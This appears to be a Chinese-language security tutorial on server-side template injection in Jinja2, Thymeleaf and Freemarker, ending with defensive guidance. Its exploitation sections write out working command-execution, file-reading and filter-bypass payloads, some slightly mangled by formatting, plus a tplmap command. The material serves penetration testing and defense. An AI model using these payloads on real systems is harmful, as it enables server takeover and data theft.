SSTI漏洞深度解析:从模板引擎原理到沙箱逃逸实战

📅 2026/7/27 4:06:25
SSTI漏洞深度解析:从模板引擎原理到沙箱逃逸实战
1. 项目概述从一次“意外”的代码执行说起几年前我在审计一个内部管理系统时发现了一个有趣的输入框。它允许用户自定义一些欢迎语的模板比如“你好{username}今天是{date}”。当时我手痒在用户名处输入了{{7*7}}提交后页面上赫然显示着“你好49今天是...”。那一刻我心里咯噔一下知道碰上“模板注入”了。这可不是简单的XSS它意味着攻击者有机会在服务器端执行任意代码危害等级直接拉满。这个项目我们就来深入聊聊Web安全中这个既经典又危险的漏洞——SSTIServer-Side Template Injection聚焦于三大主流模板引擎Jinja2Python、ThymeleafJava Spring和FreemarkerJava。我们会拆解它们的利用原理并探讨如何突破看似安全的沙箱环境实现真正的命令执行。无论你是开发、安全测试还是运维理解SSTI不仅能帮你写出更安全的代码也能在渗透测试中多一把锋利的“手术刀”。2. SSTI核心原理与危害深度解析2.1 模板引擎是如何“工作”的要理解漏洞先得明白模板引擎在干什么。简单来说模板引擎是把静态的模板文件和动态的数据结合起来生成最终HTML页面的工具。开发者写一个包含占位符如{{name}}的模板文件程序运行时引擎会用真实的数据如name“张三”替换这些占位符。这个过程通常分两步编译和渲染。编译阶段引擎会解析模板语法将其转换成一种中间表示或可执行代码渲染阶段则将数据代入这个“编译好的”结构中生成最终输出。SSTI漏洞就发生在用户输入被直接拼接进模板源代码然后一起参与编译和渲染的时候。想象一下你本意是让用户控制数据{{user_input}}里的user_input但代码错误地将用户输入当成了模板语法的一部分。如果用户输入是{{config}}那么引擎就会去尝试渲染一个叫config的变量如果用户输入是{{.__class__}}引擎就会去执行这个Python对象的属性查找。2.2 为什么SSTI比XSS更危险很多人会把SSTI和XSS跨站脚本攻击搞混因为它们都能在网页上弹出个对话框。但两者的根本区别在于执行位置和权限。XSS攻击载荷JavaScript代码在受害者的浏览器中执行。它的影响通常局限于当前用户会话可以盗取Cookie、进行钓鱼、劫持用户操作等。防御主要靠前端的输出编码HTML编码、JS编码。SSTI攻击载荷模板表达式在服务器端执行。它拥有后端应用进程的权限这意味着攻击者可以读取服务器上的敏感文件如/etc/passwd, 源代码配置文件。执行系统命令从而控制服务器。访问和篡改应用程序数据甚至直接操作数据库。攻击内网服务因为攻击是从服务器内部发起的。简而言之XSS是“客户端漏洞”SSTI是“服务器端漏洞”。一个成功的SSTI相当于拿到了服务器的一个“后门”其危害性远超大多数XSS。2.3 漏洞产生的典型场景在代码里SSTI通常源于不安全的编码实践动态模板拼接最经典的错误。例如Jinja2中template “Hello ” user_input 然后直接render_template_string(template)。如果user_input是{{7*7}}就会被执行。用户可控的模板文件名/路径比如render_template(request.args.get(‘template_name’))。攻击者可能通过路径遍历../../../etc/passwd或注入模板语法来利用。模板配置中的用户输入某些引擎允许通过配置设置全局变量或过滤器如果这些配置项来自用户输入且未过滤也可能导致注入。二次渲染有时开发者为方便会对已渲染的内容进行第二次渲染。如果第一次渲染的输出包含了用户输入的模板语法且未经过滤在第二次渲染时就会被执行。注意并非所有使用模板引擎的应用都有SSTI。只有当用户输入被信任为模板语法本身时漏洞才会产生。仅仅向模板传递用户控制的数据作为变量值是安全的常规操作。3. 三大模板引擎利用手法详解不同模板引擎的语法、内置对象和函数差异很大因此利用手法也各不相同。识别目标使用的是哪种引擎是成功利用的第一步。通常可以通过注入简单的测试载荷来探测。3.1 Jinja2 (Python) 的利用链构造Jinja2是Flask等Python Web框架的默认模板引擎。它的语法清晰但也因此暴露了丰富的内置对象供我们利用。3.1.1 基础探测与信息收集首先确认漏洞存在和引擎类型{{7*7}}- 输出49 基本确认SSTI。{{‘7’*7}}- 输出7777777 进一步确认是Jinja2某些引擎字符串乘法结果不同。{{config}}或{{self}}- 尝试输出当前配置或模板自身对象获取大量信息。3.1.2 从对象到命令执行经典利用链Jinja2的沙箱试图限制访问但通过Python的对象继承链魔术方法、子类化我们可以一步步逃逸。核心思路是获取一个基本对象如字符串、数字、空元组的__class__属性追溯到基类object再找到所有子类从中筛选出可以执行命令的危险类如os._wrap_close、subprocess.Popen。一个经典的、无需os模块的利用链如下假设是一个空字符串对象获取基类{{.__class__}}-class ‘str’追溯继承链{{.__class__.__mro__}}- 显示方法解析顺序包含class ‘object’获取object的所有子类{{.__class__.__mro__[1].__subclasses__()}}- 一个很长的列表包含了当前Python环境中加载的所有类。寻找可利用的类我们需要在这个列表中寻找一些可以执行命令或读写文件的类。常见目标subprocess.Popen 用于执行系统命令。os._wrap_close 内部类但包含os模块的引用。warnings.catch_warnings 其内部有__init__函数可以访问globals。构造最终Payload假设我们找到subprocess.Popen在列表的第413位这个索引需要根据实际环境探测。Payload:{{.__class__.__mro__[1].__subclasses__()[413](‘whoami’, shellTrue, stdout-1).communicate()}}这个Payload会执行whoami命令并返回结果。3.1.3 实用技巧与绕过索引探测由于__subclasses__()返回的列表索引不固定需要编写脚本或手动探测。可以先用一个简化的Payload输出所有类名{{.__class__.__mro__[1].__subclasses__()}}然后搜索Popen或_wrap_close。字符串拼接绕过黑名单如果__class__等关键词被过滤可以使用字符串拼接、编码、属性链等方式绕过。例如{{request[‘application’][‘__globals__’][‘__builtins__’][‘__import__’](‘os’).popen(‘id’).read()}}利用Flask的request对象使用|attr()过滤器{{|attr(‘__class__’)}}使用[]代替.{{[‘__class__’]}}在某些上下文有效利用内置函数和过滤器Jinja2提供了range、dict、cycler、joiner等内置函数和过滤器有时可以辅助构造Payload。例如{{cycler.__init__.__globals__.os.popen(‘ls’).read()}}。实操心得在实际测试中如果遇到严格的过滤优先尝试利用已有的上下文对象比如Flask中的request、session、config。config对象里可能直接包含数据库密码等敏感信息有时比执行命令更快拿到关键数据。3.2 Thymeleaf (Spring) 的表达式注入Thymeleaf是Spring生态中广泛使用的模板引擎。它的SSTI利用方式与Jinja2截然不同主要利用其强大的Spring表达式语言SpEL集成。3.2.1 基础语法与探测Thymeleaf模板通常以HTML标签属性形式存在如th:text${user.name}。SSTI可能发生在这些表达式中。探测${7*7}- 输出49。更直接的探测*{7*7}或#{7*7}消息表达式。3.2.2 SpEL表达式利用Thymeleaf的强大也是危险之处在于它执行的表达式是Spring的SpEL。SpEL功能极其强大可以直接访问Java对象图、调用方法、进行类型转换等。一个最简单的命令执行Payload${T(java.lang.Runtime).getRuntime().exec(‘calc’)}这里T()是SpEL的类型操作符用于访问类的静态方法和常量。java.lang.Runtime是要访问的类。getRuntime().exec()是执行命令的标准Java方法。3.2.3 高级利用与绕过利用参数化表达式Thymeleaf允许在链接中使用表达式如th:href{/path/{id}(id${user.id})}。如果id参数用户可控可能在此处注入。表达式预处理Thymeleaf支持__${...}__的预处理表达式在模板解析早期执行。这有时可以绕过一些在渲染阶段的过滤。绕过黑名单字符串拼接/编码${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(…))}可以拼出calc。使用反射这是最强大的绕过方式。通过SpEL的反射能力我们可以动态调用任何方法。Payload示例${#this.getClass().forName(‘java.lang.Runtime’).getMethod(‘getRuntime’).invoke(null).exec(‘touch /tmp/pwned’)}这里#this代表当前上下文对象。通过forName加载类getMethod获取方法invoke调用完全绕过了对Runtime等关键词的直接引用。读取文件${T(org.apache.commons.io.FileUtils).readFileToString(T(java.io.File).new(‘/etc/passwd’))}需要Commons IO库。注意事项Spring Boot 2.x 及以上版本默认对SpEL表达式进行了更强的限制尤其是在处理T()这种类加载时。但在某些配置不当或旧版本中这些攻击依然有效。此外即使不能直接执行命令通过SpEL读取应用程序上下文${applicationContext}中的Bean属性也可能泄露大量敏感配置信息。3.3 Freemarker 的指令注入Freemarker是另一款老牌的Java模板引擎。它的利用方式主要是注入其内置的指令Directives如#assign,#include,#if等。3.3.1 基础探测Freemarker的表达式是${...}或#{...}旧版指令是#...。探测${7*7}-49。指令探测#assign ex“freemarker.template.utility.Execute”?new() ${ex(“whoami”)}。如果页面输出了命令结果说明存在严重的指令注入。3.3.2 利用内置“new”函数执行命令Freemarker有一个危险的特性它允许通过?new()创建任意实现了TemplateModel接口的Java对象实例。而内置类freemarker.template.utility.Execute正好可以执行命令。经典Payload#assign exfreemarker.template.utility.Execute?new() ${ex(whoami)}或者一行形式${“freemarker.template.utility.Execute”?new()(“whoami”)}3.3.3 利用ObjectWrapper读取文件如果Execute类被限制或不存在可以尝试使用ObjectConstructor来实例化任意对象或者利用DefaultObjectWrapper来访问静态方法。读取文件内容${“java.io.File”?new()(“/etc/passwd”).toURL().openStream()?readBytes()?join(“ “)}需要将字节数组转换为字符串这里方法可能不准确视环境而定。另一种方式#assign is“java.io.FileInputStream”?new(“/etc/passwd”) #assign br“java.io.BufferedReader”?new(“java.io.InputStreamReader”?new(is)) #list 1..100 as n${br.readLine()!}br//#list这个Payload会尝试读取文件的前100行。3.3.4 沙箱绕过尝试Freemarker自身的安全机制较弱。高版本2.3.30引入了“安全沙箱”特性可以限制模板的类加载和方法调用。但配置不当或存在缺陷时仍可绕过。利用已加载的类沙箱可能只限制?new()但通过Class.forName和反射链可能依然可以访问危险类。这需要结合具体的Java环境进行探索。利用Spring上下文如果Freemarker集成在Spring中可以尝试通过表达式访问Spring的Bean如${springMacroRequestContext.context.getBean(‘someService’)}进而调用其方法。实操心得对于Freemarker首先要测试的就是?new()指令。如果可用危害极大。如果被禁用则需转向更复杂的对象图遍历和反射。在测试时注意观察错误信息Freemarker的错误回显有时会泄露类路径、方法签名等有用信息有助于构造下一步的Payload。4. 沙箱逃逸当默认防护失效时现代模板引擎都意识到SSTI的危险因此或多或少都引入了沙箱Sandbox机制试图限制模板代码的能力比如禁止访问某些类、禁止调用危险方法。但安全研究者们总能找到绕过的途径。4.1 沙箱的常见限制手段黑名单/白名单禁止或只允许访问特定的类、方法、属性。例如禁止__class__、__subclasses__、os、Runtime等。方法调用检查在调用方法前检查该方法是否在允许的清单内。属性访问控制限制对对象内部私有属性或特殊属性魔术方法的访问。表达式解析器限制如限制SpEL表达式的功能禁用T()操作符等。4.2 通用逃逸思路4.2.1 利用未被覆盖的上下文对象沙箱可能只限制了模板语言本身的内置对象和函数但忽略了应用传入模板的上下文变量。例如在Jinja2中Flask默认传入的request、session、g、config对象。攻击者可以尝试遍历这些对象的属性{{request.__class__}}寻找通往危险模块的路径。config对象很可能直接包含os模块的引用。4.2.2 属性链与原型链污染针对Jinja2/Python这是Python/Jinja2沙箱逃逸的核心。即使__class__被禁我们还可以通过其他方式获取对象的类。{{[].__class__}}列表的类是list。{{{}.__class__}}字典的类是dict。{{().__class__}}元组的类是tuple。{{request.__class__}}请求对象的类。一旦获得一个类就可以通过__base__或__mro__找到其父类object进而通过__subclasses__()打开新世界的大门。关键在于找到一个起点。4.2.3 利用内置函数/过滤器/工具类模板引擎为了便利会提供一些内置函数或工具类。这些函数本身可能是安全的但它们内部可能引用了危险的模块。Jinja2url_for、get_flashed_messages等全局函数。深入研究它们的实现或许能找到__globals__属性从而访问到os或subprocess模块。例如在某些旧版本或特定配置下{{cycler.__init__.__globals__}}可能暴露出os。Python内置函数 如果沙箱漏掉了某些内置函数如__import__、eval、exec就可以直接利用。Payload如{{__import__(‘os’).popen(‘id’).read()}}。4.2.4 字符串拼接与编码绕过关键字过滤这是最基础的绕过技术但往往有效。拼接{{‘__cla’’ss__’}}-__class__反转{{‘__ssalc__’[::-1]}}-__class__利用Python切片编码 如Hex编码、Base64编码等在Payload中解码后使用。需要模板支持相应的解码操作。利用属性访问的多种形式obj.__class__等价于obj[“__class__”]或getattr(obj, “__class__”)。如果.被过滤可以尝试[]或|attr过滤器。4.2.5 二次渲染与上下文污染这是一种需要特定场景的技巧。如果应用存在“渲染-输出-再渲染”的流程可以在第一次渲染时输出一段包含模板语法的文本。这段文本在第二次渲染时会被解析执行。这可以用来绕过一些在第一次输入时就进行的过滤。4.3 针对特定引擎的逃逸案例Jinja2 SSTI沙箱逃逸以一些CTF题目为例场景__class__、__mro__、__subclasses__等关键词被过滤。思路寻找其他入口点。例如Python中[]是列表它的类是list。list类有很多内置方法这些方法的__globals__属性可能指向包含危险模块的命名空间。Payload{{[].__class__.__base__.__subclasses__()}}。这里用__base__指向直接父类object代替了__mro__[1]有时能绕过对__mro__的过滤。然后继续在子类列表中寻找warnings.catch_warnings因为它的__init__函数的__globals__里包含了sys模块而sys.modules字典里有所有已导入的模块包括os。完整链示例概念{{[].__class__.__base__.__subclasses__()[某个索引].__init__.__globals__[‘sys’].modules[‘os’].popen(‘id’).read()}}关键在于找到warnings.catch_warnings类的索引。Thymeleaf SpEL沙箱绕过Spring Security SPeL表达式注入 Spring Security曾有一个漏洞CVE-2018-1273允许在Spring Data Commons的SpEL表达式中执行任意代码。其绕过方式展示了SpEL的强大反射能力。Payload:#{T(String).getClass().forName(“java.lang.Runtime”).getRuntime().exec(“touch /tmp/pwned”)}这里没有直接使用T(java.lang.Runtime)而是通过String类的getClass().forName()动态加载Runtime类绕过了对T(Runtime)的静态检测。5. 实战演练与漏洞挖掘技巧理解了原理和Payload我们来看看如何在真实环境中发现和利用SSTI。5.1 漏洞发现与手动探测寻找输入点任何用户输入并最终在页面上显示的地方都是可疑的。重点关注个人信息、文章内容等富文本或模板化显示的区域。错误信息、搜索结果显示、排序过滤参数。文件上传后的预览或重命名。邮件模板、报告生成、PDF导出等功能。URL路径、Cookie、Header中可能被用于模板选择或配置的参数。模糊测试与引擎识别 向所有可疑参数提交一组测试字符串观察响应变化。通用测试{{7*7}},${7*7},% 7*7 %,${{7*7}},#{7*7},{{7*’7’}}。引擎识别返回49可能是Jinja2、Twig、Smarty等。返回7777777很可能是Jinja2字符串乘法。返回49且上下文为Java应用可能是Thymeleaf、Freemarker。返回错误信息仔细阅读错误信息通常会直接暴露模板引擎名称和版本如“freemarker.core.ParseException”或“org.thymeleaf.exceptions.TemplateProcessingException”。上下文判断通过简单Payload判断引擎是否在沙箱中以及过滤规则。提交{{‘abc’}} 如果原样输出说明{{}}被转义或未解析。提交{{‘abc’}}def 如果输出abcdef说明{{}}被过滤掉了但内容保留。提交{{‘ab’’c’}} 观察单引号处理有助于理解解析器。5.2 自动化工具辅助手动测试效率低可以借助工具tplmap 一款经典的SSTI自动化利用工具支持多种引擎Jinja2, Mako, Tornado, Freemarker等。它能自动检测引擎类型、测试沙箱、并尝试获取远程Shell或文件系统访问。命令类似python tplmap.py -u ‘http://target/page?input*’Burp Suite 插件 如Backslash Powered Scanner或自定义的Active Scan规则可以集成SSTI的Payload进行批量扫描。自定义脚本 针对特定应用或过滤规则编写Python脚本进行模糊测试和Payload生成。注意事项使用自动化工具务必在授权范围内进行。tplmap等工具攻击性较强可能直接上传webshell或执行命令会对目标系统造成实际影响。5.3 漏洞利用的步骤与技巧确认与信息收集先用无害的Payload如{{7*7}}确认漏洞。然后尝试{{config}}Jinja2或${T(java.lang.System).getProperties()}Thymeleaf收集环境信息如路径、依赖库版本等。尝试读取文件在命令执行前先尝试读取/etc/passwdLinux或C:\Windows\win.iniWindows确认文件系统访问权限。这也是一种危害更小、更隐蔽的验证方式。寻找可写目录为了上传Webshell或持久化需要知道可写目录。可以尝试读取环境变量、或执行whoami、pwdLinux、echo %USERPROFILE%Windows等命令。命令执行与回显直接执行ls或dir可能看不到输出。需要将命令输出重定向到HTTP请求、DNS查询或者写入一个Web可访问的文件。例如在Jinja2中{{.__class__.__mro__[1].__subclasses__()[413](‘ls -la / /tmp/out.txt’, shellTrue)}} 然后尝试通过其他漏洞或路径访问/tmp/out.txt。升级交互式Shell如果可能尝试用Python、Perl、PHP等脚本语言反弹一个交互式Shell到你的监听服务器方便后续操作。6. 防御之道开发与运维的安全实践知道了怎么攻击更重要的是知道如何防御。6.1 开发阶段安全编码是根本严格禁止用户输入作为模板这是铁律。绝对不要使用render_template_string或类似函数去渲染用户提供的字符串。如果需要动态模板应使用安全的标识符如ID从受信任的模板库中选取。使用安全的模板渲染API始终使用将数据作为参数传递的方式。正确示例Jinja2/Flask:render_template(‘index.html’, usernamerequest.form[‘username’])。在模板里用{{username}}安全地显示它。对动态模板名进行严格校验如果模板名必须动态化应使用白名单机制只允许预定义的、安全的模板名。启用模板引擎的沙箱/安全模式Jinja2 使用SandboxedEnvironment。它可以限制模板访问不安全的属性和方法。但要注意沙箱并非绝对安全需要及时更新以修复已知绕过。Thymeleaf 确保Spring Security配置正确限制SpEL表达式的权限。在Thymeleaf配置中可以限制或禁用某些表达式模式。Freemarker 在2.3.30版本中使用Configuration.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER)或完全禁用?new指令Configuration.setNewBuiltinClassResolver(TemplateClassResolver.ALLOWS_NOTHING_RESOLVER)。输入验证与输出编码虽然对SSTI主要靠隔离但良好的安全习惯包括对所有用户输入进行严格的验证类型、长度、格式并对输出到模板的数据进行适当的编码虽然模板引擎本身会处理HTML编码但针对其他上下文如JavaScript需额外注意。6.2 运维与安全审计阶段依赖库管理定期更新模板引擎及其依赖库到最新版本许多SSTI绕过漏洞在后续版本中得到了修复。安全测试将SSTI测试纳入SAST静态应用安全测试和DAST动态应用安全测试的范畴。在代码审计中重点检查所有模板渲染相关的函数调用。WAF/IPS规则在Web应用防火墙或入侵防御系统中部署规则检测常见的SSTI Payload模式如__class__、__subclasses__、?new()、T(Runtime)等。但要注意基于正则的WAF很容易被高级绕过技术绕过不能作为唯一防线。最小权限原则运行Web应用的进程应使用最低必要的系统权限。这样即使被攻破攻击者能造成的破坏也有限。日志监控监控应用日志寻找包含异常模板语法或大量错误回显的请求这可能是攻击尝试的迹象。SSTI是一个威力巨大的漏洞它源于开发中对“数据”和“代码”边界概念的模糊。作为开发者时刻牢记“用户输入即数据永不信任”作为安全人员理解其原理和利用链才能更好地进行防御和测试。在实战中耐心和信息收集是关键从一个简单的{{7*7}}开始你可能最终会打开一扇通往服务器内部的大门。